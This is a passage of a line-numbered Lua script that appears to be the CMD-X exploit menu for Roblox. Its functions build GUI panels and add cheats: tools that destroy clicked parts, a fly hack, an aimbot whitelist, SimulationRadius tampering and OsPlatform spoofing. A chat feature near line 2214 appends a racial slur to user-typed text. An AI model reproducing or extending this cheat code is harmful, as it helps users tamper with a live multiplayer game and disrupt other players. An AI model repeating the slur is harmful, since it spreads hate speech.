1460shitlabeljpeg.Font = Enum.Font.GothamSemibold
1461shitlabeljpeg.Text = "Commands"
1462shitlabeljpeg.TextColor3 = Color3.new(1, 1, 1)
1463shitlabeljpeg.TextSize = 14
1464
1465ScreenGuipoo.Parent = Unnamed
1466
1467TextButtonpoo.Parent = ScreenGuipoo
1468TextButtonpoo.BackgroundColor3 = Color3.new(0.784314, 0.784314, 0.784314)
1469TextButtonpoo.BorderSizePixel = 0
1470TextButtonpoo.Position = UDim2.new(0, 0, 0.455743879, 0)
1471TextButtonpoo.Size = UDim2.new(0, 186, 0, 35)
1472TextButtonpoo.Font = Enum.Font.SourceSans
1473TextButtonpoo.Text = "Btools (Off)"
1474TextButtonpoo.TextColor3 = Color3.new(0.27451, 0.27451, 0.27451)
1475TextButtonpoo.TextScaled = true
1476TextButtonpoo.TextSize = 14
1477TextButtonpoo.TextWrapped = true
1478TextButtonpoo.Visible = false
1479
1480local On = Instance.new("StringValue")
1481
1482On.Parent = TextButtonpoo
1483On.Value = "Off"
1484
1485-- Scripts
1486
1487TextButtonpoo.MouseButton1Up:Connect(function()
1488 if On.Value == "Off" then
1489 On.Value = "On"
1490 TextButtonpoo.Text = "Btools (On)"
1491 else
1492 On.Value = "Off"
1493 TextButtonpoo.Text = "Btools (Off)"
1494 end
1495end)
1496
1497cmdm.Button1Up:Connect(function()
1498 if On.Value == "Off" then
1499 else
1500 if cmdm.Target.Locked == true then
1501 cmdm.Target:Destroy()
1502 else
1503 cmdm.Target:Destroy()
1504 end
1505 end
1506end)
1507---------------------------------------|
1508-- Fly: -------------------------------|
1509function sFLY(vfly)
1510 FLYING = false
1511 speedofthefly = 1
1512 speedofthevfly = 1
1513 repeat wait() until cmdlp and cmdlp.Character and cmdlp.Character:FindFirstChild('HumanoidRootPart') and cmdlp.Character:FindFirstChild('Humanoid')
1514 repeat wait() until cmdm
1515 local T = cmdlp.Character.HumanoidRootPart
1516 local CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
1517 local lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
1518 local SPEED = 0
1519 local function FLY()
1520 FLYING = true
1521 local BG = Instance.new('BodyGyro', T)
1522 local BV = Instance.new('BodyVelocity', T)
1523 BG.P = 9e4
1524 BG.maxTorque = Vector3.new(9e9, 9e9, 9e9)
1525 BG.cframe = T.CFrame
1526 BV.velocity = Vector3.new(0, 0, 0)
1527 BV.maxForce = Vector3.new(9e9, 9e9, 9e9)
1528 spawn(function()
1529 repeat wait()
1530 if not vfly then
1531 cmdlp.Character:FindFirstChild("Humanoid").PlatformStand = true
1532 end
1533 if CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0 then
1534 SPEED = 50
1535 elseif not (CONTROL.L + CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0 or CONTROL.Q + CONTROL.E ~= 0) and SPEED ~= 0 then
1536 SPEED = 0
1537 end
1538 if (CONTROL.L + CONTROL.R) ~= 0 or (CONTROL.F + CONTROL.B) ~= 0 or (CONTROL.Q + CONTROL.E) ~= 0 then
1539 BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (CONTROL.F + CONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(CONTROL.L + CONTROL.R, (CONTROL.F + CONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
1540 lCONTROL = {F = CONTROL.F, B = CONTROL.B, L = CONTROL.L, R = CONTROL.R}
1541 elseif (CONTROL.L + CONTROL.R) == 0 and (CONTROL.F + CONTROL.B) == 0 and (CONTROL.Q + CONTROL.E) == 0 and SPEED ~= 0 then
1542 BV.velocity = ((workspace.CurrentCamera.CoordinateFrame.lookVector * (lCONTROL.F + lCONTROL.B)) + ((workspace.CurrentCamera.CoordinateFrame * CFrame.new(lCONTROL.L + lCONTROL.R, (lCONTROL.F + lCONTROL.B + CONTROL.Q + CONTROL.E) * 0.2, 0).p) - workspace.CurrentCamera.CoordinateFrame.p)) * SPEED
1543 else
1544 BV.velocity = Vector3.new(0, 0, 0)
1545 end
1546 BG.cframe = workspace.CurrentCamera.CoordinateFrame
1547 until not FLYING
1548 CONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
1549 lCONTROL = {F = 0, B = 0, L = 0, R = 0, Q = 0, E = 0}
1550 SPEED = 0
1551 BG:destroy()
1552 BV:destroy()
1553 cmdlp.Character.Humanoid.PlatformStand = false
1554 end)
1555 end
1556 cmdm.KeyDown:connect(function(KEY)
1557 if KEY:lower() == 'w' then
1558 if vfly then
1559 CONTROL.F = speedofthevfly
1560 else
1561 CONTROL.F = speedofthefly
1562 end
1563 elseif KEY:lower() == 's' then
1564 if vfly then
1565 CONTROL.B = - speedofthevfly
1566 else
1567 CONTROL.B = - speedofthefly
1568 end
1569 elseif KEY:lower() == 'a' then
1570 if vfly then
1571 CONTROL.L = - speedofthevfly
1572 else
1573 CONTROL.L = - speedofthefly
1574 end
1575 elseif KEY:lower() == 'd' then
1576 if vfly then
1577 CONTROL.R = speedofthevfly
1578 else
1579 CONTROL.R = speedofthefly
1580 end
1581 elseif KEY:lower() == 'y' then
1582 if vfly then
1583 CONTROL.Q = speedofthevfly*2
1584 else
1585 CONTROL.Q = speedofthefly*2
1586 end
1587 elseif KEY:lower() == 't' then
1588 if vfly then
1589 CONTROL.E = -speedofthevfly*2
1590 else
1591 CONTROL.E = -speedofthefly*2
1592 end
1593 end
1594 end)
1595 cmdm.KeyUp:connect(function(KEY)
1596 if KEY:lower() == 'w' then
1597 CONTROL.F = 0
1598 elseif KEY:lower() == 's' then
1599 CONTROL.B = 0
1600 elseif KEY:lower() == 'a' then
1601 CONTROL.L = 0
1602 elseif KEY:lower() == 'd' then
1603 CONTROL.R = 0
1604 elseif KEY:lower() == 'y' then
1605 CONTROL.Q = 0
1606 elseif KEY:lower() == 't' then
1607 CONTROL.E = 0
1608 end
1609 end)
1610 FLY()
1611end
1612---------------------------------------|
1613-- Aimbot Whitelist: ------------------|
1614PlayersWLsystem = {}
1615
1616for i,p in pairs(cmdp:GetPlayers()) do
1617 PlayersWLsystem[p.Name] = false
1618end
1619
1620cmdp.PlayerAdded:Connect(function(plr)
1621 PlayersWLsystem[plr.Name] = false
1622 for n,p in pairs(Devs) do
1623 for i,d in pairs(PlayersWLsystem) do
1624 if p == d then
1625 p = true
1626 end
1627 end
1628 end
1629end)
1630
1631cmdp.PlayerRemoving:Connect(function(plr)
1632 for i,a in pairs(PlayersWLsystem) do
1633 if a == plr.Name then
1634 table.remove(PlayersWLsystem,i)
1635 end
1636 end
1637end)
1638
1639cmdlp.Character:FindFirstChildWhichIsA("Humanoid").Died:Connect(function()
1640 if conFly == true then
1641 if FLYING == true then
1642 repeat wait() until cmdlp.Character ~= nil and cmdlp.Character:FindFirstChild('HumanoidRootPart') and cmdlp.Character:FindFirstChild('Humanoid')
1643 wait(2)
1644 FLYING = false
1645 cmdlp.Character.Humanoid.PlatformStand = false
1646 sFLY()
1647 speedofthefly = permflyspeed
1648 end
1649 end
1650 Enabledaimbot = false
1651 if Clip == false then
1652 Clip = true
1653 wait(1)
1654 Clip = false
1655 end
1656end)
1657cmdlp.CharacterAdded:Connect(function(char)
1658 wait(2)
1659 char:FindFirstChildWhichIsA("Humanoid").Died:Connect(function()
1660 if conFly == true then
1661 if FLYING == true then
1662 repeat wait() until cmdlp.Character ~= nil and cmdlp.Character:FindFirstChild('HumanoidRootPart') and cmdlp.Character:FindFirstChild('Humanoid')
1663 wait(.1)
1664 FLYING = false
1665 cmdlp.Character.Humanoid.PlatformStand = false
1666 sFLY()
1667 speedofthefly = permflyspeed
1668 end
1669 end
1670 Enabledaimbot = false
1671 if Clip == false then
1672 Clip = true
1673 wait(1)
1674 Clip = false
1675 end
1676 end)
1677end)
1678
1679
1680opxholder = Instance.new("Frame")
1681opxviewertitle = Instance.new("TextLabel")
1682xoutofopx = Instance.new("TextButton")
1683opxscrollholder = Instance.new("Frame")
1684opxreferer = Instance.new("TextLabel")
1685opxsplitting = Instance.new("Frame")
1686opxScrolling = Instance.new("TextLabel")
1687
1688opxholder.Name = "opxholder"
1689opxholder.Parent = Unnamed
1690opxholder.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1691opxholder.BorderSizePixel = 0
1692opxholder.Position = UDim2.new(0.217357904, 0, 0.208845213, 0)
1693opxholder.Size = UDim2.new(0, 424, 0, 294)
1694opxholder.Visible = false
1695opxholder.Active = true
1696opxholder.Draggable = true
1697
1698opxviewertitle.Name = "opxviewertitle"
1699opxviewertitle.Parent = opxholder
1700opxviewertitle.BackgroundColor3 = Color3.new(1, 1, 1)
1701opxviewertitle.BackgroundTransparency = 1
1702opxviewertitle.Position = UDim2.new(0.264150947, 0, 0, 0)
1703opxviewertitle.Size = UDim2.new(0, 200, 0, 22)
1704opxviewertitle.Font = Enum.Font.GothamBold
1705opxviewertitle.Text = "CMD-X OUTPUT-LONGER"
1706opxviewertitle.TextColor3 = Color3.new(1, 1, 1)
1707opxviewertitle.TextSize = 14
1708
1709xoutofopx.Name = "xoutofopx"
1710xoutofopx.Parent = opxholder
1711xoutofopx.BackgroundColor3 = Color3.new(1, 1, 1)
1712xoutofopx.BackgroundTransparency = 1
1713xoutofopx.Position = UDim2.new(0.948113203, 0, 0, 0)
1714xoutofopx.Size = UDim2.new(0, 22, 0, 22)
1715xoutofopx.Font = Enum.Font.GothamBold
1716xoutofopx.Text = "X"
1717xoutofopx.TextColor3 = Color3.new(1, 1, 1)
1718xoutofopx.TextSize = 20
1719xoutofopx.MouseButton1Down:Connect(function()
1720 opxholder.Visible = false
1721end)
1722
1723opxscrollholder.Name = "opxscrollholder"
1724opxscrollholder.Parent = opxholder
1725opxscrollholder.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
1726opxscrollholder.BorderSizePixel = 0
1727opxscrollholder.Position = UDim2.new(0.0306603778, 0, 0.0748299286, 0)
1728opxscrollholder.Size = UDim2.new(0, 397, 0, 232)
1729
1730opxreferer.Name = "opxreferer"
1731opxreferer.Parent = opxscrollholder
1732opxreferer.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
1733opxreferer.BorderSizePixel = 0
1734opxreferer.Size = UDim2.new(0, 397, 0, 20)
1735opxreferer.Font = Enum.Font.Gotham
1736opxreferer.Text = " Output-Longer"
1737opxreferer.TextColor3 = Color3.new(1, 1, 1)
1738opxreferer.TextSize = 14
1739opxreferer.TextXAlignment = Enum.TextXAlignment.Left
1740
1741opxsplitting.Name = "splitting"
1742opxsplitting.Parent = opxscrollholder
1743opxsplitting.BackgroundColor3 = Color3.new(1, 1, 1)
1744opxsplitting.BorderColor3 = Color3.new(1, 1, 1)
1745opxsplitting.Position = UDim2.new(0.0100755664, 0, 0.0892857313, 0)
1746opxsplitting.Size = UDim2.new(0, 389, 0, 0)
1747
1748opxScrolling.Name = "opxScrolling"
1749opxScrolling.Parent = opxscrollholder
1750opxScrolling.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
1751opxScrolling.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1752opxScrolling.BorderSizePixel = 0
1753opxScrolling.Position = UDim2.new(0.00986763742, 0, 0.102678575, 0)
1754opxScrolling.Size = UDim2.new(0, 389, 0, 204)
1755opxScrolling.TextColor3 = Color3.new(1, 1, 1)
1756opxScrolling.TextSize = 12
1757opxScrolling.Font = Enum.Font.Code
1758opxScrolling.TextXAlignment = Enum.TextXAlignment.Left
1759opxScrolling.TextYAlignment = Enum.TextYAlignment.Top
1760opxScrolling.TextWrapped = true
1761opxScrolling.TextScaled = true
1762
1763function opxL(title,text)
1764 opxreferer.Text = " "..title
1765 opxScrolling.Text = text
1766 opxholder.Visible = true
1767end
1768
1769if sDetect == true then
1770 cmdlp.MaximumSimulationRadius = 139
1771 cmdlp.SimulationRadius = 139
1772 cmdlp.OsPlatform = "CMD-X"
1773end
1774
1775local statholder = Instance.new("Frame")
1776local statviewertitle = Instance.new("TextLabel")
1777local xoutofstats = Instance.new("TextButton")
1778local statscrollholder = Instance.new("Frame")
1779local referer = Instance.new("TextLabel")
1780local splitting = Instance.new("Frame")
1781local Scrollingstats = Instance.new("ScrollingFrame")
1782local Save = Instance.new("TextButton")
1783
1784statholder.Name = "statholder"
1785statholder.Parent = Unnamed
1786statholder.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1787statholder.BorderSizePixel = 0
1788statholder.Position = UDim2.new(0.217357904, 0, 0.208845213, 0)
1789statholder.Size = UDim2.new(0, 424, 0, 294)
1790statholder.Visible = false
1791statholder.Active = true
1792statholder.Draggable = true
1793
1794statviewertitle.Name = "statviewertitle"
1795statviewertitle.Parent = statholder
1796statviewertitle.BackgroundColor3 = Color3.new(1, 1, 1)
1797statviewertitle.BackgroundTransparency = 1
1798statviewertitle.Position = UDim2.new(0.264150947, 0, 0, 0)
1799statviewertitle.Size = UDim2.new(0, 200, 0, 22)
1800statviewertitle.Font = Enum.Font.GothamBold
1801statviewertitle.Text = "CMD-X STATISTICS VIEWER"
1802statviewertitle.TextColor3 = Color3.new(1, 1, 1)
1803statviewertitle.TextSize = 14
1804
1805xoutofstats.Name = "xoutofstats"
1806xoutofstats.Parent = statholder
1807xoutofstats.BackgroundColor3 = Color3.new(1, 1, 1)
1808xoutofstats.BackgroundTransparency = 1
1809xoutofstats.Position = UDim2.new(0.948113203, 0, 0, 0)
1810xoutofstats.Size = UDim2.new(0, 22, 0, 22)
1811xoutofstats.Font = Enum.Font.GothamBold
1812xoutofstats.Text = "X"
1813xoutofstats.TextColor3 = Color3.new(1, 1, 1)
1814xoutofstats.TextSize = 20
1815xoutofstats.MouseButton1Down:Connect(function()
1816 statholder.Visible = false
1817end)
1818
1819statscrollholder.Name = "statscrollholder"
1820statscrollholder.Parent = statholder
1821statscrollholder.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
1822statscrollholder.BorderSizePixel = 0
1823statscrollholder.Position = UDim2.new(0.0306603778, 0, 0.0748299286, 0)
1824statscrollholder.Size = UDim2.new(0, 397, 0, 232)
1825
1826referer.Name = "referer"
1827referer.Parent = statscrollholder
1828referer.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
1829referer.BorderSizePixel = 0
1830referer.Size = UDim2.new(0, 397, 0, 20)
1831referer.Font = Enum.Font.Gotham
1832referer.Text = " Name | All time"
1833referer.TextColor3 = Color3.new(1, 1, 1)
1834referer.TextSize = 14
1835referer.TextXAlignment = Enum.TextXAlignment.Left
1836
1837splitting.Name = "splitting"
1838splitting.Parent = statscrollholder
1839splitting.BackgroundColor3 = Color3.new(1, 1, 1)
1840splitting.BorderColor3 = Color3.new(1, 1, 1)
1841splitting.Position = UDim2.new(0.0100755664, 0, 0.0892857313, 0)
1842splitting.Size = UDim2.new(0, 389, 0, 0)
1843
1844Scrollingstats.Name = "Scrollingstats"
1845Scrollingstats.Parent = statscrollholder
1846Scrollingstats.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
1847Scrollingstats.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1848Scrollingstats.BorderSizePixel = 0
1849Scrollingstats.Position = UDim2.new(0.00986763742, 0, 0.102678575, 0)
1850Scrollingstats.Size = UDim2.new(0, 389, 0, 204)
1851Scrollingstats.ScrollBarThickness = 10
1852
1853Save.Name = "Save"
1854Save.Parent = statholder
1855Save.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
1856Save.BorderSizePixel = 0
1857Save.Position = UDim2.new(0.275943398, 0, 0.887755096, 0)
1858Save.Size = UDim2.new(0, 188, 0, 26)
1859Save.Font = Enum.Font.GothamBold
1860Save.Text = "Save as .txt"
1861Save.TextColor3 = Color3.new(1, 1, 1)
1862Save.TextSize = 14
1863Save.MouseButton1Down:Connect(function()
1864 writestats = "\n"
1865 for i,v in pairs(CMDStat) do
1866 if CMDStat[i].T ~= 0 then
1867 writestats = writestats.."\n"..CMDStat[i].N.." "..CMDStat[i].T
1868 end
1869 end
1870 writefile("CMD-X Stats "..math.random(1,1000)..".txt",tostring(writestats))
1871end)
1872
1873function CreateStatLabel(cmd,times,today)
1874 local sf2 = Scrollingstats
1875 if #sf2:GetChildren() >= 2546 then
1876 sf2:ClearAllChildren()
1877 end
1878 local alls2 = 0
1879 for i,v in pairs(sf2:GetChildren()) do
1880 if v then
1881 alls2 = v.Size.Y.Offset + alls2
1882 end
1883 if not v then
1884 alls2 = 0
1885 end
1886 end
1887 local tl2 = Instance.new('TextLabel', sf2)
1888 local il2 = Instance.new('Frame', tl2)
1889 tl2.Name = cmd
1890 tl2.ZIndex = 6
1891 tl2.Text = cmd.." | "..times
1892 tl2.Size = UDim2.new(0,322,0,50)
1893 tl2.BackgroundTransparency = 1
1894 tl2.BorderSizePixel = 0
1895 tl2.Font = "SourceSansBold"
1896 tl2.Position = UDim2.new(-1,0,0,alls2)
1897 tl2.TextTransparency = 1
1898 tl2.TextScaled = false
1899 tl2.TextSize = 14
1900 tl2.TextWrapped = true
1901 tl2.TextXAlignment = "Left"
1902 tl2.TextYAlignment = "Top"
1903 il2.BackgroundTransparency = 1
1904 il2.BorderSizePixel = 0
1905 il2.Size = UDim2.new(0,12,1,0)
1906 il2.Position = UDim2.new(0,316,0,0)
1907 tl2.TextColor3 = Color3.fromRGB(255,255,255)
1908 tl2.Size = UDim2.new(0,322,0,tl2.TextBounds.Y)
1909 sf2.CanvasSize = UDim2.new(0,0,0,alls2+tl2.TextBounds.Y)
1910 sf2.CanvasPosition = Vector2.new(0,sf2.CanvasPosition.Y+tl2.TextBounds.Y)
1911 local size22 = sf2.CanvasSize.Y.Offset
1912 tl2:TweenPosition(UDim2.new(0,3,0,alls2), 'In', 'Quint', 0.5)
1913 tl2.TextTransparency = 0
1914end
1915
1916function autofriendwl(dowhitelistfriends)
1917 local function iterPageItems(pages)
1918 return coroutine.wrap(function()
1919 local pagenum = 1
1920 while true do
1921 for _, user in ipairs(pages:GetCurrentPage()) do
1922 coroutine.yield(user, pagenum)
1923 end
1924 if pages.IsFinished then
1925 break
1926 end
1927 pages:AdvanceToNextPageAsync()
1928 pagenum = pagenum + 1
1929 end
1930 end)
1931 end
1932
1933 local FP = cmdp:GetFriendsAsync(cmdlp.UserId)
1934
1935 if dowhitelistfriends then
1936 for user, pageNo in iterPageItems(FP) do
1937 PlayersWLsystem[user.Username] = true
1938 for a,e in pairs(Devs) do
1939 for i,t in pairs(PlayersWLsystem) do
1940 if t == e then
1941 t = true
1942 end
1943 end
1944 end
1945 end
1946 elseif not dowhitelistfriends then
1947 for user, pageNo in iterPageItems(FP) do
1948 for a,e in pairs(Devs) do
1949 for i,t in pairs(PlayersWLsystem) do
1950 if t == e then
1951 t = true
1952 elseif t == user.Username then
1953 t = false
1954 end
1955 end
1956 end
1957 end
1958 end
1959end
1960
1961function Wl(playerrequested,does)
1962 if does then
1963 PlayersWLsystem[playerrequested.Name] = true
1964 elseif not does then
1965 PlayersWLsystem[playerrequested.Name] = false
1966 for n,p in pairs(Devs) do
1967 for i,d in pairs(PlayersWLsystem) do
1968 if p == d then
1969 p = true
1970 end
1971 end
1972 end
1973 end
1974end
1975---------------------------------------|
1976-- Functions: -------------------------|
1977function findplr(args)
1978 if args == "me" then
1979 return cmdlp
1980 elseif args == "random" then
1981 return cmdp:GetPlayers()[math.random(1,#cmdp:GetPlayers())]
1982 elseif args == "new" then
1983 local vAges = {}
1984 for _,v in pairs(cmdp:GetPlayers()) do
1985 if v.AccountAge < 30 then
1986 vAges[#vAges+1] = v
1987 end
1988 end
1989 return vAges[math.random(1,#vAges)]
1990 elseif args == "old" then
1991 local vAges = {}
1992 for _,v in pairs(cmdp:GetPlayers()) do
1993 if v.AccountAge > 30 then
1994 vAges[#vAges+1] = v
1995 end
1996 end
1997 return vAges[math.random(1,#vAges)]
1998 elseif args == "bacon" then
1999 local vAges = {}
2000 for _,v in pairs(cmdp:GetChildren()) do
2001 if v.Character:FindFirstChild("Pal Hair") or v.Character:FindFirstChild("Kate Hair") then
2002 vAges[#vAges+1] = v
2003 end
2004 end
2005 return vAges[math.random(1,#vAges)]
2006 elseif args == "friend" then
2007 local vAges = {}
2008 for _,v in pairs(cmdp:GetChildren()) do
2009 if v:IsFriendsWith(cmdlp.UserId) and v ~= cmdlp then
2010 vAges[#vAges+1] = v
2011 end
2012 end
2013 return vAges[math.random(1,#vAges)]
2014 elseif args == "notfriend" then
2015 local vAges = {}
2016 for _,v in pairs(cmdp:GetChildren()) do
2017 if not v:IsFriendsWith(cmdlp.UserId) and v ~= cmdlp then
2018 vAges[#vAges+1] = v
2019 end
2020 end
2021 return vAges[math.random(1,#vAges)]
2022 elseif args == "ally" then
2023 local vAges = {}
2024 for _,v in pairs(cmdp:GetChildren()) do
2025 if v.Team == cmdlp.Team then
2026 vAges[#vAges+1] = v
2027 end
2028 end
2029 return vAges[math.random(1,#vAges)]
2030 elseif args == "enemy" then
2031 local vAges = {}
2032 for _,v in pairs(cmdp:GetChildren()) do
2033 if v.Team ~= cmdlp.Team then
2034 vAges[#vAges+1] = v
2035 end
2036 end
2037 return vAges[math.random(1,#vAges)]
2038 elseif args == "near" then
2039 local vAges = {}
2040 for _,v in pairs(cmdp:GetChildren()) do
2041 if v ~= cmdlp then
2042 local math = (v.Character:FindFirstChild("HumanoidRootPart").Position - cmdlp.Character.HumanoidRootPart.Position).magnitude
2043 if math < 30 then
2044 vAges[#vAges+1] = v
2045 end
2046 end
2047 end
2048 return vAges[math.random(1,#vAges)]
2049 elseif args == "far" then
2050 local vAges = {}
2051 for _,v in pairs(cmdp:GetChildren()) do
2052 if v ~= cmdlp then
2053 local math = (v.Character:FindFirstChild("HumanoidRootPart").Position - cmdlp.Character.HumanoidRootPart.Position).magnitude
2054 if math > 30 then
2055 vAges[#vAges+1] = v
2056 end
2057 end
2058 end
2059 return vAges[math.random(1,#vAges)]
2060 else
2061 local potentialplayer = ""
2062 local target = ""
2063 local z = ""
2064 local potentialtarget = ""
2065 for i,v in pairs(cmdp:GetPlayers()) do
2066 potentialplayer = string.lower(v.Name)
2067 potentialtarget = string.lower(args)
2068 local z = string.find(potentialplayer,potentialtarget)
2069 if z ~= nil then
2070 return v
2071 end
2072 end
2073 end
2074end
2075
2076function cmdnum(str)
2077 return tonumber(str) ~= nil
2078end
2079function cmd15(plr)
2080 if plr.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
2081 return true
2082 end
2083end
2084osconfigtext.MouseButton1Down:connect(function()
2085 text1 = true
2086 text2 = false
2087 updatesaves()
2088end)
2089osconfigtext2.MouseButton1Down:connect(function()
2090 text2 = true
2091 text1 = false
2092 updatesaves()
2093end)
2094function cmd6(plr)
2095 if plr.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
2096 return true
2097 end
2098end
2099function x(v)
2100 if v then
2101 for _,i in pairs(cmdws:GetDescendants()) do
2102 if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
2103 i.LocalTransparencyModifier = 0.5
2104 end
2105 end
2106 else
2107 for _,i in pairs(cmdws:GetDescendants()) do
2108 if i:IsA("BasePart") and not i.Parent:FindFirstChild("Humanoid") and not i.Parent.Parent:FindFirstChild("Humanoid") then
2109 i.LocalTransparencyModifier = 0
2110 end
2111 end
2112 end
2113end
2114cmdlp.CharacterAdded:connect(function()
2115 if spawning and sppos ~= nil then
2116 repeat wait() until cmdlp.Character ~= nil and cmdlp.Character:FindFirstChild('HumanoidRootPart')
2117 cmdlp.Character.HumanoidRootPart.CFrame = sppos
2118 end
2119end)
2120
2121logsholding2 = Instance.new("Frame")
2122logsviewertitle2 = Instance.new("TextLabel")
2123xoutoflogs2 = Instance.new("TextButton")
2124logsscrollholder2 = Instance.new("Frame")
2125refereral2 = Instance.new("TextLabel")
2126splittinger2 = Instance.new("Frame")
2127Scrollinglogs2 = Instance.new("ScrollingFrame")
2128Save22 = Instance.new("TextBox")
2129
2130logsholding2.Name = "logsholding2"
2131logsholding2.Parent = Unnamed
2132logsholding2.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
2133logsholding2.BorderSizePixel = 0
2134logsholding2.Position = UDim2.new(0.217357904, 0, 0.208845213, 0)
2135logsholding2.Size = UDim2.new(0, 424, 0, 294)
2136logsholding2.Visible = false
2137logsholding2.Draggable = true
2138logsholding2.Active = true
2139
2140logsviewertitle2.Name = "logsviewertitle2"
2141logsviewertitle2.Parent = logsholding2
2142logsviewertitle2.BackgroundColor3 = Color3.new(1, 1, 1)
2143logsviewertitle2.BackgroundTransparency = 1
2144logsviewertitle2.Position = UDim2.new(0.264150947, 0, 0, 0)
2145logsviewertitle2.Size = UDim2.new(0, 200, 0, 22)
2146logsviewertitle2.Font = Enum.Font.GothamBold
2147logsviewertitle2.Text = "CMD-X SCRIPT CHAT VIEWER"
2148logsviewertitle2.TextColor3 = Color3.new(1, 1, 1)
2149logsviewertitle2.TextSize = 14
2150
2151xoutoflogs2.Name = "xoutoflogs2"
2152xoutoflogs2.Parent = logsholding2
2153xoutoflogs2.BackgroundColor3 = Color3.new(1, 1, 1)
2154xoutoflogs2.BackgroundTransparency = 1
2155xoutoflogs2.Position = UDim2.new(0.948113203, 0, 0, 0)
2156xoutoflogs2.Size = UDim2.new(0, 22, 0, 22)
2157xoutoflogs2.Font = Enum.Font.GothamBold
2158xoutoflogs2.Text = "X"
2159xoutoflogs2.TextColor3 = Color3.new(1, 1, 1)
2160xoutoflogs2.TextSize = 20
2161xoutoflogs2.MouseButton1Down:Connect(function()
2162 logsholding2.Visible = false
2163end)
2164
2165logsscrollholder2.Name = "logsscrollholder2"
2166logsscrollholder2.Parent = logsholding2
2167logsscrollholder2.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
2168logsscrollholder2.BorderSizePixel = 0
2169logsscrollholder2.Position = UDim2.new(0.0306603778, 0, 0.0748299286, 0)
2170logsscrollholder2.Size = UDim2.new(0, 397, 0, 232)
2171
2172refereral2.Name = "refereral2"
2173refereral2.Parent = logsscrollholder2
2174refereral2.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
2175refereral2.BorderSizePixel = 0
2176refereral2.Size = UDim2.new(0, 397, 0, 20)
2177refereral2.Font = Enum.Font.Gotham
2178refereral2.Text = " Username | Message"
2179refereral2.TextColor3 = Color3.new(1, 1, 1)
2180refereral2.TextSize = 14
2181refereral2.TextXAlignment = Enum.TextXAlignment.Left
2182
2183splittinger2.Name = "splittinger2"
2184splittinger2.Parent = logsscrollholder2
2185splittinger2.BackgroundColor3 = Color3.new(1, 1, 1)
2186splittinger2.BorderColor3 = Color3.new(1, 1, 1)
2187splittinger2.Position = UDim2.new(0.0100755664, 0, 0.0892857313, 0)
2188splittinger2.Size = UDim2.new(0, 389, 0, 0)
2189
2190Scrollinglogs2.Name = "Scrollinglogs2"
2191Scrollinglogs2.Parent = logsscrollholder2
2192Scrollinglogs2.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
2193Scrollinglogs2.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
2194Scrollinglogs2.BorderSizePixel = 0
2195Scrollinglogs2.Position = UDim2.new(0.00986763742, 0, 0.102678575, 0)
2196Scrollinglogs2.Size = UDim2.new(0, 389, 0, 204)
2197Scrollinglogs2.ScrollBarThickness = 10
2198
2199Save22.Name = "Save2"
2200Save22.Parent = logsholding2
2201Save22.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
2202Save22.BorderSizePixel = 0
2203Save22.Position = UDim2.new(0.275943398, 0, 0.887755096, 0)
2204Save22.Size = UDim2.new(0, 188, 0, 26)
2205Save22.Font = Enum.Font.GothamBold
2206Save22.TextScaled = true
2207Save22.Text = ""
2208Save22.TextColor3 = Color3.new(1, 1, 1)
2209Save22.TextSize = 14
2210Save22.TextScaled = true
2211Save22.PlaceholderText = "Type here..."
2212Save22.FocusLost:Connect(function()
2213 SaveOS = cmdlp.OsPlatform
2214 cmdlp.OsPlatform = Save22.Text.."nigger"
2215 Save22.Text = ""
2216 wait(1)
2217 cmdlp.OsPlatform = SaveOS
2218end)
2219
2220
2221function CreateSCLabel(Name, Text)
2222 local plr = cmdp:GetChildren()
2223 local sf = Scrollinglogs2
2224 if #sf:GetChildren() >= 2546 then
2225 sf:ClearAllChildren()
2226 end
2227 local alls = 0
2228 for i,v in pairs(sf:GetChildren()) do
2229 if v then
2230 alls = v.Size.Y.Offset + alls
2231 end
2232 if not v then
2233 alls = 0
2234 end
2235 end
2236 local tl = Instance.new('TextLabel', sf)
2237 local il = Instance.new('Frame', tl)
2238 tl.Name = Name
2239 tl.ZIndex = 6
2240 tl.Text = "["..Name.."] | "..Text
2241 tl.Size = UDim2.new(0,322,0,60)
2242 tl.BackgroundTransparency = 1
2243 tl.BorderSizePixel = 0
2244 tl.Font = "SourceSansBold"
2245 tl.Position = UDim2.new(-1,0,0,alls)
2246 tl.TextTransparency = 1
2247 tl.TextScaled = false
2248 tl.TextSize = 14
2249 tl.TextWrapped = true
2250 tl.TextXAlignment = "Left"
2251 tl.TextYAlignment = "Top"
2252 il.BackgroundTransparency = 1
2253 il.BorderSizePixel = 0
2254 il.Size = UDim2.new(0,12,1,0)
2255 il.Position = UDim2.new(0,316,0,0)
2256 tl.TextColor3 = Color3.fromRGB(255,255,255)
2257 tl.Size = UDim2.new(0,322,0,tl.TextBounds.Y)
